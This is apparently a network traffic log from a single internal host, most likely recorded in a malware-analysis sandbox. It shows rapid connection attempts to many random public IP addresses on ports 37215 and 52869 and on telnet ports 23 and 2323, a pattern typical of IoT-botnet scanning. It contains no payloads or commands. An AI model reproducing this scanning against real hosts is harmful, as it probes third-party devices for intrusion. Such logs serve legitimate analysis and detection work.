Oct 6, 2024 20:00:46.794435978 CEST	47460	37215	192.168.2.15	197.150.169.53
Oct 6, 2024 20:00:46.794434071 CEST	33898	52869	192.168.2.15	197.29.5.14
Oct 6, 2024 20:00:46.794435978 CEST	35556	52869	192.168.2.15	41.8.233.71
Oct 6, 2024 20:00:46.794435978 CEST	54144	37215	192.168.2.15	156.28.135.157
Oct 6, 2024 20:00:46.794434071 CEST	56532	37215	192.168.2.15	156.91.147.218
Oct 6, 2024 20:00:46.794547081 CEST	37156	37215	192.168.2.15	197.229.12.237
Oct 6, 2024 20:00:46.799232960 CEST	52869	34820	156.146.11.26	192.168.2.15
Oct 6, 2024 20:00:46.799245119 CEST	37215	33364	156.205.129.99	192.168.2.15
Oct 6, 2024 20:00:46.799254894 CEST	52869	40640	41.126.219.241	192.168.2.15
Oct 6, 2024 20:00:46.799293041 CEST	34820	52869	192.168.2.15	156.146.11.26
Oct 6, 2024 20:00:46.799318075 CEST	33364	37215	192.168.2.15	156.205.129.99
Oct 6, 2024 20:00:46.799343109 CEST	40640	52869	192.168.2.15	41.126.219.241
Oct 6, 2024 20:00:46.799396992 CEST	40640	52869	192.168.2.15	41.126.219.241
Oct 6, 2024 20:00:46.799408913 CEST	34820	52869	192.168.2.15	156.146.11.26
Oct 6, 2024 20:00:46.799467087 CEST	33364	37215	192.168.2.15	156.205.129.99
Oct 6, 2024 20:00:46.804688931 CEST	52869	34820	156.146.11.26	192.168.2.15
Oct 6, 2024 20:00:46.804794073 CEST	34820	52869	192.168.2.15	156.146.11.26
Oct 6, 2024 20:00:46.804912090 CEST	52869	40640	41.126.219.241	192.168.2.15
Oct 6, 2024 20:00:46.804953098 CEST	40640	52869	192.168.2.15	41.126.219.241
Oct 6, 2024 20:00:46.806307077 CEST	37215	33364	156.205.129.99	192.168.2.15
Oct 6, 2024 20:00:46.806349039 CEST	33364	37215	192.168.2.15	156.205.129.99
Oct 6, 2024 20:00:46.826319933 CEST	48274	52869	192.168.2.15	197.155.113.135
Oct 6, 2024 20:00:46.826323032 CEST	54284	52869	192.168.2.15	41.228.55.251
Oct 6, 2024 20:00:46.826325893 CEST	54614	37215	192.168.2.15	41.52.175.140
Oct 6, 2024 20:00:46.826325893 CEST	41494	37215	192.168.2.15	197.66.17.119
Oct 6, 2024 20:00:46.826329947 CEST	43312	37215	192.168.2.15	156.77.142.2
Oct 6, 2024 20:00:46.826337099 CEST	37374	52869	192.168.2.15	197.177.84.199
Oct 6, 2024 20:00:46.826337099 CEST	53210	52869	192.168.2.15	197.126.27.231
Oct 6, 2024 20:00:46.826348066 CEST	55086	37215	192.168.2.15	156.112.233.104
Oct 6, 2024 20:00:46.826363087 CEST	38260	52869	192.168.2.15	156.10.0.100
Oct 6, 2024 20:00:46.826363087 CEST	60314	52869	192.168.2.15	197.218.118.61
Oct 6, 2024 20:00:46.826365948 CEST	50246	37215	192.168.2.15	156.203.1.203
Oct 6, 2024 20:00:46.826369047 CEST	56940	37215	192.168.2.15	41.166.51.57
Oct 6, 2024 20:00:46.826369047 CEST	43002	37215	192.168.2.15	156.35.78.115
Oct 6, 2024 20:00:46.826369047 CEST	51066	52869	192.168.2.15	156.135.133.206
Oct 6, 2024 20:00:46.826379061 CEST	46260	52869	192.168.2.15	156.121.102.48
Oct 6, 2024 20:00:46.826384068 CEST	47844	52869	192.168.2.15	41.21.163.213
Oct 6, 2024 20:00:46.826386929 CEST	55850	37215	192.168.2.15	197.137.68.198
Oct 6, 2024 20:00:46.826386929 CEST	45870	37215	192.168.2.15	41.241.161.251
Oct 6, 2024 20:00:46.826391935 CEST	50008	52869	192.168.2.15	41.29.252.39
Oct 6, 2024 20:00:46.826400995 CEST	49200	37215	192.168.2.15	41.240.79.98
Oct 6, 2024 20:00:46.826400995 CEST	54592	52869	192.168.2.15	197.104.236.18
Oct 6, 2024 20:00:46.831187010 CEST	52869	48274	197.155.113.135	192.168.2.15
Oct 6, 2024 20:00:46.831202030 CEST	37215	54614	41.52.175.140	192.168.2.15
Oct 6, 2024 20:00:46.831212997 CEST	52869	54284	41.228.55.251	192.168.2.15
Oct 6, 2024 20:00:46.831270933 CEST	48274	52869	192.168.2.15	197.155.113.135
Oct 6, 2024 20:00:46.831283092 CEST	54614	37215	192.168.2.15	41.52.175.140
Oct 6, 2024 20:00:46.831295967 CEST	54284	52869	192.168.2.15	41.228.55.251
Oct 6, 2024 20:00:46.831398964 CEST	48274	52869	192.168.2.15	197.155.113.135
Oct 6, 2024 20:00:46.831408978 CEST	54284	52869	192.168.2.15	41.228.55.251
Oct 6, 2024 20:00:46.831576109 CEST	54614	37215	192.168.2.15	41.52.175.140
Oct 6, 2024 20:00:46.838517904 CEST	52869	48274	197.155.113.135	192.168.2.15
Oct 6, 2024 20:00:46.838572979 CEST	48274	52869	192.168.2.15	197.155.113.135
Oct 6, 2024 20:00:46.839071989 CEST	52869	54284	41.228.55.251	192.168.2.15
Oct 6, 2024 20:00:46.839082956 CEST	37215	54614	41.52.175.140	192.168.2.15
Oct 6, 2024 20:00:46.839132071 CEST	54284	52869	192.168.2.15	41.228.55.251
Oct 6, 2024 20:00:46.839176893 CEST	54614	37215	192.168.2.15	41.52.175.140
Oct 6, 2024 20:00:46.858319998 CEST	42276	52869	192.168.2.15	197.239.132.38
Oct 6, 2024 20:00:46.858339071 CEST	46080	37215	192.168.2.15	41.172.241.134
Oct 6, 2024 20:00:46.858345032 CEST	43304	52869	192.168.2.15	41.14.170.201
Oct 6, 2024 20:00:46.858357906 CEST	60594	52869	192.168.2.15	41.186.47.165
Oct 6, 2024 20:00:46.858365059 CEST	52320	37215	192.168.2.15	197.233.118.113
Oct 6, 2024 20:00:46.858382940 CEST	42474	37215	192.168.2.15	41.216.18.137
Oct 6, 2024 20:00:46.858383894 CEST	59950	37215	192.168.2.15	156.209.57.80
Oct 6, 2024 20:00:46.858382940 CEST	53556	37215	192.168.2.15	156.189.150.200
Oct 6, 2024 20:00:46.858386993 CEST	46426	52869	192.168.2.15	156.168.114.112
Oct 6, 2024 20:00:46.858386993 CEST	55432	52869	192.168.2.15	197.253.224.211
Oct 6, 2024 20:00:46.858386993 CEST	50980	52869	192.168.2.15	197.85.205.5
Oct 6, 2024 20:00:46.858393908 CEST	50662	37215	192.168.2.15	197.6.95.61
Oct 6, 2024 20:00:46.858413935 CEST	60938	37215	192.168.2.15	197.164.143.249
Oct 6, 2024 20:00:46.858414888 CEST	35138	52869	192.168.2.15	156.159.83.36
Oct 6, 2024 20:00:46.858417034 CEST	42670	37215	192.168.2.15	156.104.113.198
Oct 6, 2024 20:00:46.858422995 CEST	51550	37215	192.168.2.15	41.113.206.125
Oct 6, 2024 20:00:46.858424902 CEST	40038	52869	192.168.2.15	41.32.233.53
Oct 6, 2024 20:00:46.858439922 CEST	47562	52869	192.168.2.15	197.109.187.45
Oct 6, 2024 20:00:46.863374949 CEST	37215	46080	41.172.241.134	192.168.2.15
Oct 6, 2024 20:00:46.863395929 CEST	52869	42276	197.239.132.38	192.168.2.15
Oct 6, 2024 20:00:46.863470078 CEST	46080	37215	192.168.2.15	41.172.241.134
Oct 6, 2024 20:00:46.863482952 CEST	42276	52869	192.168.2.15	197.239.132.38
Oct 6, 2024 20:00:46.863533020 CEST	42276	52869	192.168.2.15	197.239.132.38
Oct 6, 2024 20:00:46.863557100 CEST	52869	60594	41.186.47.165	192.168.2.15
Oct 6, 2024 20:00:46.863611937 CEST	46080	37215	192.168.2.15	41.172.241.134
Oct 6, 2024 20:00:46.863611937 CEST	60594	52869	192.168.2.15	41.186.47.165
Oct 6, 2024 20:00:46.863648891 CEST	60594	52869	192.168.2.15	41.186.47.165
Oct 6, 2024 20:00:46.864504099 CEST	52869	43304	41.14.170.201	192.168.2.15
Oct 6, 2024 20:00:46.864551067 CEST	43304	52869	192.168.2.15	41.14.170.201
Oct 6, 2024 20:00:46.864578009 CEST	43304	52869	192.168.2.15	41.14.170.201
Oct 6, 2024 20:00:46.868901968 CEST	37215	46080	41.172.241.134	192.168.2.15
Oct 6, 2024 20:00:46.868947983 CEST	46080	37215	192.168.2.15	41.172.241.134
Oct 6, 2024 20:00:46.869137049 CEST	52869	42276	197.239.132.38	192.168.2.15
Oct 6, 2024 20:00:46.869185925 CEST	42276	52869	192.168.2.15	197.239.132.38
Oct 6, 2024 20:00:46.869266987 CEST	52869	60594	41.186.47.165	192.168.2.15
Oct 6, 2024 20:00:46.869316101 CEST	60594	52869	192.168.2.15	41.186.47.165
Oct 6, 2024 20:00:46.869713068 CEST	52869	43304	41.14.170.201	192.168.2.15
Oct 6, 2024 20:00:46.869760036 CEST	43304	52869	192.168.2.15	41.14.170.201
Oct 6, 2024 20:00:46.890304089 CEST	40406	37215	192.168.2.15	197.177.137.165
Oct 6, 2024 20:00:46.890304089 CEST	59522	37215	192.168.2.15	41.86.8.174
Oct 6, 2024 20:00:46.890307903 CEST	52504	37215	192.168.2.15	41.68.38.42
Oct 6, 2024 20:00:46.890309095 CEST	47478	37215	192.168.2.15	197.89.171.150
Oct 6, 2024 20:00:46.890311003 CEST	57772	37215	192.168.2.15	197.104.12.72
Oct 6, 2024 20:00:46.890316963 CEST	36720	37215	192.168.2.15	197.173.47.28
Oct 6, 2024 20:00:46.890321016 CEST	50610	37215	192.168.2.15	197.163.24.101
Oct 6, 2024 20:00:46.890327930 CEST	53538	37215	192.168.2.15	197.30.226.169
Oct 6, 2024 20:00:46.890333891 CEST	36846	37215	192.168.2.15	197.36.180.150
Oct 6, 2024 20:00:46.890333891 CEST	37778	37215	192.168.2.15	156.169.96.48
Oct 6, 2024 20:00:46.890343904 CEST	41298	37215	192.168.2.15	197.23.127.152
Oct 6, 2024 20:00:46.890345097 CEST	40828	37215	192.168.2.15	156.87.207.127
Oct 6, 2024 20:00:46.890345097 CEST	59390	37215	192.168.2.15	197.252.154.175
Oct 6, 2024 20:00:46.890345097 CEST	34850	37215	192.168.2.15	156.140.244.109
Oct 6, 2024 20:00:46.890345097 CEST	53962	37215	192.168.2.15	197.103.184.79
Oct 6, 2024 20:00:46.890348911 CEST	39144	52869	192.168.2.15	41.90.125.11
Oct 6, 2024 20:00:46.890356064 CEST	52166	37215	192.168.2.15	41.138.115.205
Oct 6, 2024 20:00:46.890379906 CEST	58334	52869	192.168.2.15	41.67.114.133
Oct 6, 2024 20:00:46.890379906 CEST	53960	52869	192.168.2.15	41.107.203.68
Oct 6, 2024 20:00:46.890379906 CEST	46848	37215	192.168.2.15	156.33.124.178
Oct 6, 2024 20:00:46.890387058 CEST	37736	52869	192.168.2.15	41.226.63.180
Oct 6, 2024 20:00:46.890387058 CEST	53810	37215	192.168.2.15	156.59.176.98
Oct 6, 2024 20:00:46.890392065 CEST	58482	37215	192.168.2.15	41.147.247.83
Oct 6, 2024 20:00:46.890419960 CEST	44724	37215	192.168.2.15	41.216.41.161
Oct 6, 2024 20:00:46.895978928 CEST	37215	40406	197.177.137.165	192.168.2.15
Oct 6, 2024 20:00:46.896013021 CEST	37215	59522	41.86.8.174	192.168.2.15
Oct 6, 2024 20:00:46.896064043 CEST	40406	37215	192.168.2.15	197.177.137.165
Oct 6, 2024 20:00:46.896064043 CEST	59522	37215	192.168.2.15	41.86.8.174
Oct 6, 2024 20:00:46.896095037 CEST	59522	37215	192.168.2.15	41.86.8.174
Oct 6, 2024 20:00:46.896095037 CEST	40406	37215	192.168.2.15	197.177.137.165
Oct 6, 2024 20:00:46.896358967 CEST	37215	52504	41.68.38.42	192.168.2.15
Oct 6, 2024 20:00:46.896418095 CEST	52504	37215	192.168.2.15	41.68.38.42
Oct 6, 2024 20:00:46.896449089 CEST	52504	37215	192.168.2.15	41.68.38.42
Oct 6, 2024 20:00:46.901267052 CEST	37215	40406	197.177.137.165	192.168.2.15
Oct 6, 2024 20:00:46.901325941 CEST	40406	37215	192.168.2.15	197.177.137.165
Oct 6, 2024 20:00:46.901410103 CEST	37215	59522	41.86.8.174	192.168.2.15
Oct 6, 2024 20:00:46.901464939 CEST	59522	37215	192.168.2.15	41.86.8.174
Oct 6, 2024 20:00:46.901751041 CEST	37215	52504	41.68.38.42	192.168.2.15
Oct 6, 2024 20:00:46.901803017 CEST	52504	37215	192.168.2.15	41.68.38.42
Oct 6, 2024 20:00:46.922322035 CEST	55656	37215	192.168.2.15	156.133.233.253
Oct 6, 2024 20:00:46.922326088 CEST	50514	37215	192.168.2.15	197.164.168.63
Oct 6, 2024 20:00:46.922343016 CEST	56232	37215	192.168.2.15	156.136.209.164
Oct 6, 2024 20:00:46.922346115 CEST	47332	37215	192.168.2.15	156.242.29.171
Oct 6, 2024 20:00:46.922353029 CEST	47262	37215	192.168.2.15	156.252.170.108
Oct 6, 2024 20:00:46.922353029 CEST	55516	37215	192.168.2.15	197.164.25.106
Oct 6, 2024 20:00:46.922353029 CEST	59118	37215	192.168.2.15	41.26.146.231
Oct 6, 2024 20:00:46.922353029 CEST	48776	37215	192.168.2.15	41.42.204.129
Oct 6, 2024 20:00:46.922357082 CEST	54334	37215	192.168.2.15	156.149.6.181
Oct 6, 2024 20:00:46.922358036 CEST	55592	37215	192.168.2.15	197.247.139.132
Oct 6, 2024 20:00:46.922358036 CEST	59336	37215	192.168.2.15	41.163.209.214
Oct 6, 2024 20:00:46.922365904 CEST	41460	37215	192.168.2.15	41.52.161.212
Oct 6, 2024 20:00:46.922368050 CEST	55204	37215	192.168.2.15	41.10.114.12
Oct 6, 2024 20:00:46.922367096 CEST	54138	37215	192.168.2.15	197.251.92.146
Oct 6, 2024 20:00:46.922372103 CEST	46572	37215	192.168.2.15	41.117.90.99
Oct 6, 2024 20:00:46.922372103 CEST	45250	37215	192.168.2.15	41.120.65.207
Oct 6, 2024 20:00:46.922378063 CEST	41398	37215	192.168.2.15	156.246.99.143
Oct 6, 2024 20:00:46.922384977 CEST	54092	37215	192.168.2.15	41.196.72.88
Oct 6, 2024 20:00:46.922386885 CEST	42242	37215	192.168.2.15	197.248.57.110
Oct 6, 2024 20:00:46.922394991 CEST	56546	37215	192.168.2.15	197.63.163.35
Oct 6, 2024 20:00:46.927325010 CEST	37215	55656	156.133.233.253	192.168.2.15
Oct 6, 2024 20:00:46.927356958 CEST	37215	50514	197.164.168.63	192.168.2.15
Oct 6, 2024 20:00:46.927412033 CEST	55656	37215	192.168.2.15	156.133.233.253
Oct 6, 2024 20:00:46.927423954 CEST	50514	37215	192.168.2.15	197.164.168.63
Oct 6, 2024 20:00:46.927458048 CEST	37215	56232	156.136.209.164	192.168.2.15
Oct 6, 2024 20:00:46.927472115 CEST	50514	37215	192.168.2.15	197.164.168.63
Oct 6, 2024 20:00:46.927490950 CEST	55656	37215	192.168.2.15	156.133.233.253
Oct 6, 2024 20:00:46.927512884 CEST	56232	37215	192.168.2.15	156.136.209.164
Oct 6, 2024 20:00:46.927548885 CEST	56232	37215	192.168.2.15	156.136.209.164
Oct 6, 2024 20:00:46.932719946 CEST	37215	55656	156.133.233.253	192.168.2.15
Oct 6, 2024 20:00:46.932784081 CEST	55656	37215	192.168.2.15	156.133.233.253
Oct 6, 2024 20:00:46.933037996 CEST	37215	50514	197.164.168.63	192.168.2.15
Oct 6, 2024 20:00:46.933089972 CEST	50514	37215	192.168.2.15	197.164.168.63
Oct 6, 2024 20:00:46.933128119 CEST	37215	56232	156.136.209.164	192.168.2.15
Oct 6, 2024 20:00:46.933181047 CEST	56232	37215	192.168.2.15	156.136.209.164
Oct 6, 2024 20:00:47.022912025 CEST	37215	40962	156.246.99.143	192.168.2.15
Oct 6, 2024 20:00:47.023036957 CEST	40962	37215	192.168.2.15	156.246.99.143
Oct 6, 2024 20:00:47.052670002 CEST	37215	46926	156.242.29.171	192.168.2.15
Oct 6, 2024 20:00:47.052813053 CEST	46926	37215	192.168.2.15	156.242.29.171
Oct 6, 2024 20:00:47.308166981 CEST	52869	51952	197.6.243.246	192.168.2.15
Oct 6, 2024 20:00:47.308892012 CEST	51952	52869	192.168.2.15	197.6.243.246
Oct 6, 2024 20:00:47.352750063 CEST	52869	52910	41.234.254.118	192.168.2.15
Oct 6, 2024 20:00:47.352895975 CEST	52910	52869	192.168.2.15	41.234.254.118
Oct 6, 2024 20:00:47.360075951 CEST	52869	59256	197.167.179.38	192.168.2.15
Oct 6, 2024 20:00:47.360759974 CEST	59256	52869	192.168.2.15	197.167.179.38
Oct 6, 2024 20:00:47.365736961 CEST	52869	49000	197.116.43.94	192.168.2.15
Oct 6, 2024 20:00:47.365832090 CEST	49000	52869	192.168.2.15	197.116.43.94
Oct 6, 2024 20:00:47.493135929 CEST	50952	2323	192.168.2.15	153.194.99.89
Oct 6, 2024 20:00:47.493149996 CEST	50952	23	192.168.2.15	32.10.160.112
Oct 6, 2024 20:00:47.493149042 CEST	50952	23	192.168.2.15	2.132.133.86
Oct 6, 2024 20:00:47.493153095 CEST	50952	23	192.168.2.15	200.12.187.63
Oct 6, 2024 20:00:47.493153095 CEST	50952	23	192.168.2.15	136.99.73.243
Oct 6, 2024 20:00:47.493172884 CEST	50952	23	192.168.2.15	104.11.69.67
Oct 6, 2024 20:00:47.493172884 CEST	50952	23	192.168.2.15	104.6.173.146
Oct 6, 2024 20:00:47.493172884 CEST	50952	2323	192.168.2.15	147.138.148.79
Oct 6, 2024 20:00:47.493172884 CEST	50952	23	192.168.2.15	31.234.230.190
Oct 6, 2024 20:00:47.493172884 CEST	50952	23	192.168.2.15	145.252.203.233
Oct 6, 2024 20:00:47.493175030 CEST	50952	23	192.168.2.15	5.19.160.65
Oct 6, 2024 20:00:47.493175030 CEST	50952	23	192.168.2.15	196.232.108.198
Oct 6, 2024 20:00:47.493175030 CEST	50952	23	192.168.2.15	168.200.211.165
Oct 6, 2024 20:00:47.493182898 CEST	50952	23	192.168.2.15	115.3.235.9
Oct 6, 2024 20:00:47.493182898 CEST	50952	23	192.168.2.15	83.246.129.176
Oct 6, 2024 20:00:47.493182898 CEST	50952	23	192.168.2.15	173.47.173.26
Oct 6, 2024 20:00:47.493186951 CEST	50952	23	192.168.2.15	67.70.141.255
Oct 6, 2024 20:00:47.493186951 CEST	50952	23	192.168.2.15	97.239.187.221
Oct 6, 2024 20:00:47.493189096 CEST	50952	23	192.168.2.15	44.107.8.62
Oct 6, 2024 20:00:47.493189096 CEST	50952	23	192.168.2.15	218.253.109.229
Oct 6, 2024 20:00:47.493196964 CEST	50952	23	192.168.2.15	171.10.253.255
Oct 6, 2024 20:00:47.493196964 CEST	50952	23	192.168.2.15	221.200.77.77
Oct 6, 2024 20:00:47.493196964 CEST	50952	23	192.168.2.15	181.2.177.144
Oct 6, 2024 20:00:47.493205070 CEST	50952	23	192.168.2.15	12.89.181.244
Oct 6, 2024 20:00:47.493205070 CEST	50952	2323	192.168.2.15	216.143.116.186
Oct 6, 2024 20:00:47.493205070 CEST	50952	23	192.168.2.15	157.145.14.37
Oct 6, 2024 20:00:47.493212938 CEST	50952	23	192.168.2.15	48.155.238.183
Oct 6, 2024 20:00:47.493216038 CEST	50952	23	192.168.2.15	181.12.70.5
Oct 6, 2024 20:00:47.493222952 CEST	50952	23	192.168.2.15	160.239.78.243
Oct 6, 2024 20:00:47.493227959 CEST	50952	23	192.168.2.15	171.25.63.106
Oct 6, 2024 20:00:47.493227959 CEST	50952	23	192.168.2.15	126.144.209.152
Oct 6, 2024 20:00:47.493235111 CEST	50952	23	192.168.2.15	88.255.236.72
Oct 6, 2024 20:00:47.493235111 CEST	50952	23	192.168.2.15	106.128.146.2
Oct 6, 2024 20:00:47.493235111 CEST	50952	23	192.168.2.15	122.75.12.236
Oct 6, 2024 20:00:47.493242979 CEST	50952	23	192.168.2.15	19.93.89.202
Oct 6, 2024 20:00:47.493242979 CEST	50952	2323	192.168.2.15	9.135.24.103
Oct 6, 2024 20:00:47.493252993 CEST	50952	2323	192.168.2.15	184.144.170.64
Oct 6, 2024 20:00:47.493252993 CEST	50952	23	192.168.2.15	150.180.215.162
Oct 6, 2024 20:00:47.493263960 CEST	50952	23	192.168.2.15	99.177.206.196
Oct 6, 2024 20:00:47.493264914 CEST	50952	23	192.168.2.15	210.236.127.45
Oct 6, 2024 20:00:47.493264914 CEST	50952	23	192.168.2.15	184.22.207.97
Oct 6, 2024 20:00:47.493268967 CEST	50952	23	192.168.2.15	64.62.161.101
Oct 6, 2024 20:00:47.493273973 CEST	50952	23	192.168.2.15	187.119.29.211
Oct 6, 2024 20:00:47.493273973 CEST	50952	23	192.168.2.15	60.69.194.226
Oct 6, 2024 20:00:47.493273973 CEST	50952	23	192.168.2.15	36.47.103.20
Oct 6, 2024 20:00:47.493280888 CEST	50952	23	192.168.2.15	41.206.105.222
Oct 6, 2024 20:00:47.493282080 CEST	50952	2323	192.168.2.15	68.157.46.119
Oct 6, 2024 20:00:47.493293047 CEST	50952	23	192.168.2.15	180.97.103.121
Oct 6, 2024 20:00:47.493293047 CEST	50952	23	192.168.2.15	182.214.43.96
Oct 6, 2024 20:00:47.493293047 CEST	50952	23	192.168.2.15	100.232.87.150
Oct 6, 2024 20:00:47.493293047 CEST	50952	23	192.168.2.15	142.198.144.193
Oct 6, 2024 20:00:47.493293047 CEST	50952	23	192.168.2.15	145.170.67.216
Oct 6, 2024 20:00:47.493294954 CEST	50952	23	192.168.2.15	179.170.44.212
Oct 6, 2024 20:00:47.493294954 CEST	50952	23	192.168.2.15	68.77.99.26
Oct 6, 2024 20:00:47.493294954 CEST	50952	23	192.168.2.15	116.15.44.35
Oct 6, 2024 20:00:47.493294954 CEST	50952	23	192.168.2.15	119.81.58.252
Oct 6, 2024 20:00:47.493298054 CEST	50952	2323	192.168.2.15	5.118.71.234
Oct 6, 2024 20:00:47.493304968 CEST	50952	23	192.168.2.15	71.180.127.180
Oct 6, 2024 20:00:47.493304968 CEST	50952	23	192.168.2.15	120.1.233.83
Oct 6, 2024 20:00:47.493304968 CEST	50952	23	192.168.2.15	183.13.252.87
Oct 6, 2024 20:00:47.493308067 CEST	50952	23	192.168.2.15	79.12.227.94
Oct 6, 2024 20:00:47.493308067 CEST	50952	23	192.168.2.15	189.126.92.14
Oct 6, 2024 20:00:47.493309021 CEST	50952	23	192.168.2.15	218.105.38.181
Oct 6, 2024 20:00:47.493310928 CEST	50952	23	192.168.2.15	96.160.84.187
Oct 6, 2024 20:00:47.493331909 CEST	50952	23	192.168.2.15	212.225.160.36
Oct 6, 2024 20:00:47.493331909 CEST	50952	23	192.168.2.15	172.100.140.160
Oct 6, 2024 20:00:47.493333101 CEST	50952	23	192.168.2.15	158.184.124.26
Oct 6, 2024 20:00:47.493338108 CEST	50952	23	192.168.2.15	145.163.6.214
Oct 6, 2024 20:00:47.493338108 CEST	50952	23	192.168.2.15	100.44.187.80
Oct 6, 2024 20:00:47.493338108 CEST	50952	2323	192.168.2.15	24.230.184.33
Oct 6, 2024 20:00:47.493338108 CEST	50952	23	192.168.2.15	161.23.97.131
Oct 6, 2024 20:00:47.493338108 CEST	50952	23	192.168.2.15	103.120.141.250
Oct 6, 2024 20:00:47.493340015 CEST	50952	23	192.168.2.15	200.159.18.10
Oct 6, 2024 20:00:47.493352890 CEST	50952	23	192.168.2.15	70.170.172.160
Oct 6, 2024 20:00:47.493352890 CEST	50952	23	192.168.2.15	79.144.33.235
Oct 6, 2024 20:00:47.493352890 CEST	50952	23	192.168.2.15	47.61.167.61
Oct 6, 2024 20:00:47.493355036 CEST	50952	23	192.168.2.15	194.246.98.60
Oct 6, 2024 20:00:47.493356943 CEST	50952	23	192.168.2.15	122.170.208.24
Oct 6, 2024 20:00:47.493356943 CEST	50952	23	192.168.2.15	162.207.145.189
Oct 6, 2024 20:00:47.493356943 CEST	50952	23	192.168.2.15	166.251.32.217
Oct 6, 2024 20:00:47.493359089 CEST	50952	2323	192.168.2.15	108.231.65.249
Oct 6, 2024 20:00:47.493360043 CEST	50952	23	192.168.2.15	43.185.228.199
Oct 6, 2024 20:00:47.493367910 CEST	50952	23	192.168.2.15	37.23.29.132
Oct 6, 2024 20:00:47.493371010 CEST	50952	23	192.168.2.15	73.128.222.21
Oct 6, 2024 20:00:47.493371010 CEST	50952	23	192.168.2.15	39.36.99.252
Oct 6, 2024 20:00:47.493371964 CEST	50952	23	192.168.2.15	135.181.60.173
Oct 6, 2024 20:00:47.493374109 CEST	50952	23	192.168.2.15	67.146.196.131
Oct 6, 2024 20:00:47.493375063 CEST	50952	23	192.168.2.15	209.13.214.153
Oct 6, 2024 20:00:47.493379116 CEST	50952	23	192.168.2.15	37.104.94.220
Oct 6, 2024 20:00:47.493383884 CEST	50952	2323	192.168.2.15	185.214.115.14
Oct 6, 2024 20:00:47.493387938 CEST	50952	23	192.168.2.15	53.29.212.92
Oct 6, 2024 20:00:47.493387938 CEST	50952	23	192.168.2.15	144.57.154.83
Oct 6, 2024 20:00:47.493387938 CEST	50952	23	192.168.2.15	100.164.90.145
Oct 6, 2024 20:00:47.493396044 CEST	50952	23	192.168.2.15	76.231.221.254
Oct 6, 2024 20:00:47.493412018 CEST	50952	2323	192.168.2.15	192.155.78.200
Oct 6, 2024 20:00:47.493412971 CEST	50952	23	192.168.2.15	100.159.149.127
Oct 6, 2024 20:00:47.493412971 CEST	50952	23	192.168.2.15	138.6.217.137
Oct 6, 2024 20:00:47.493413925 CEST	50952	23	192.168.2.15	12.68.172.236
Oct 6, 2024 20:00:47.493416071 CEST	50952	23	192.168.2.15	211.115.62.225
Oct 6, 2024 20:00:47.493421078 CEST	50952	23	192.168.2.15	72.164.230.245
Oct 6, 2024 20:00:47.493423939 CEST	50952	23	192.168.2.15	69.203.195.81
Oct 6, 2024 20:00:47.493423939 CEST	50952	23	192.168.2.15	110.84.17.143
Oct 6, 2024 20:00:47.493427038 CEST	50952	23	192.168.2.15	198.60.22.117
Oct 6, 2024 20:00:47.493431091 CEST	50952	23	192.168.2.15	157.166.124.41
Oct 6, 2024 20:00:47.493431091 CEST	50952	23	192.168.2.15	67.153.221.110
Oct 6, 2024 20:00:47.493431091 CEST	50952	23	192.168.2.15	183.42.68.178
Oct 6, 2024 20:00:47.493433952 CEST	50952	23	192.168.2.15	216.222.209.190
Oct 6, 2024 20:00:47.493431091 CEST	50952	23	192.168.2.15	1.8.206.57
Oct 6, 2024 20:00:47.493439913 CEST	50952	23	192.168.2.15	88.49.119.144
Oct 6, 2024 20:00:47.493439913 CEST	50952	23	192.168.2.15	223.19.226.213
Oct 6, 2024 20:00:47.493439913 CEST	50952	2323	192.168.2.15	42.36.127.213
Oct 6, 2024 20:00:47.493442059 CEST	50952	23	192.168.2.15	208.5.168.160
Oct 6, 2024 20:00:47.493465900 CEST	50952	23	192.168.2.15	174.32.109.67
Oct 6, 2024 20:00:47.493469000 CEST	50952	23	192.168.2.15	170.149.200.195
Oct 6, 2024 20:00:47.493469954 CEST	50952	23	192.168.2.15	123.192.161.56
Oct 6, 2024 20:00:47.493469954 CEST	50952	23	192.168.2.15	180.102.252.206
Oct 6, 2024 20:00:47.493484020 CEST	50952	23	192.168.2.15	24.83.67.43
Oct 6, 2024 20:00:47.493484974 CEST	50952	23	192.168.2.15	160.80.18.38
Oct 6, 2024 20:00:47.493494987 CEST	50952	23	192.168.2.15	75.155.167.93
Oct 6, 2024 20:00:47.493496895 CEST	50952	23	192.168.2.15	159.27.59.74
Oct 6, 2024 20:00:47.493498087 CEST	50952	2323	192.168.2.15	163.47.167.17
Oct 6, 2024 20:00:47.493506908 CEST	50952	23	192.168.2.15	13.51.205.47
Oct 6, 2024 20:00:47.493509054 CEST	50952	23	192.168.2.15	8.136.245.198
Oct 6, 2024 20:00:47.493524075 CEST	50952	23	192.168.2.15	181.68.2.149
Oct 6, 2024 20:00:47.493524075 CEST	50952	23	192.168.2.15	205.214.81.111
Oct 6, 2024 20:00:47.493530989 CEST	50952	23	192.168.2.15	96.92.92.219
Oct 6, 2024 20:00:47.493530989 CEST	50952	23	192.168.2.15	165.72.168.174
Oct 6, 2024 20:00:47.493531942 CEST	50952	23	192.168.2.15	223.115.218.189
Oct 6, 2024 20:00:47.493537903 CEST	50952	23	192.168.2.15	2.18.43.3
Oct 6, 2024 20:00:47.493544102 CEST	50952	23	192.168.2.15	185.91.131.13
Oct 6, 2024 20:00:47.493552923 CEST	50952	2323	192.168.2.15	176.166.86.87
Oct 6, 2024 20:00:47.493554115 CEST	50952	23	192.168.2.15	2.105.8.229
Oct 6, 2024 20:00:47.493554115 CEST	50952	23	192.168.2.15	67.83.88.248
Oct 6, 2024 20:00:47.493577003 CEST	50952	23	192.168.2.15	217.255.227.149
Oct 6, 2024 20:00:47.493577957 CEST	50952	23	192.168.2.15	115.155.62.85
Oct 6, 2024 20:00:47.493577957 CEST	50952	23	192.168.2.15	94.57.175.29
Oct 6, 2024 20:00:47.493580103 CEST	50952	23	192.168.2.15	116.247.12.229
Oct 6, 2024 20:00:47.493591070 CEST	50952	23	192.168.2.15	157.126.196.95
Oct 6, 2024 20:00:47.493593931 CEST	50952	23	192.168.2.15	60.74.110.140
Oct 6, 2024 20:00:47.493593931 CEST	50952	23	192.168.2.15	20.62.115.173
Oct 6, 2024 20:00:47.493594885 CEST	50952	23	192.168.2.15	146.200.171.10
Oct 6, 2024 20:00:47.493594885 CEST	50952	23	192.168.2.15	171.206.183.128
Oct 6, 2024 20:00:47.493596077 CEST	50952	2323	192.168.2.15	65.138.249.214
Oct 6, 2024 20:00:47.493597031 CEST	50952	23	192.168.2.15	207.153.44.169
Oct 6, 2024 20:00:47.493597031 CEST	50952	23	192.168.2.15	190.14.217.224
Oct 6, 2024 20:00:47.493597984 CEST	50952	23	192.168.2.15	53.24.127.47
Oct 6, 2024 20:00:47.493597984 CEST	50952	23	192.168.2.15	154.117.108.19
